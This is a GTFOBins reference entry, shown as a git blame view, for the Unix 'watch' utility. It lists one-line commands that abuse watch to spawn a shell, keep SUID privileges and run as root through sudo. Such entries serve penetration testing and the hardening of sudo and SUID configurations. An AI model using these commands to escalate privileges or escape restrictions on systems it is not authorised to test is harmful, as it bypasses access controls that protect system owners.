GTFOBins.github.io/_gtfobins/watch.md

13 lines
368 B
Markdown
Raw Permalink Normal View History

2018-05-27 17:17:14 +00:00
---
functions:
2018-10-05 17:55:38 +00:00
shell:
- code: watch -x sh -c 'reset; exec sh 1>&0 2>&0'
2018-10-05 17:55:38 +00:00
suid:
2018-07-16 13:01:50 +00:00
- description: This keeps the SUID privileges only if the `-x` option is present.
code: ./watch -x sh -p -c 'reset; exec sh -p 1>&0 2>&0'
2018-10-05 17:55:38 +00:00
sudo:
- code: sudo watch -x sh -c 'reset; exec sh 1>&0 2>&0'
2018-10-05 17:55:38 +00:00
limited-suid:
- code: ./watch 'reset; exec sh 1>&0 2>&0'
2018-05-27 17:17:14 +00:00
---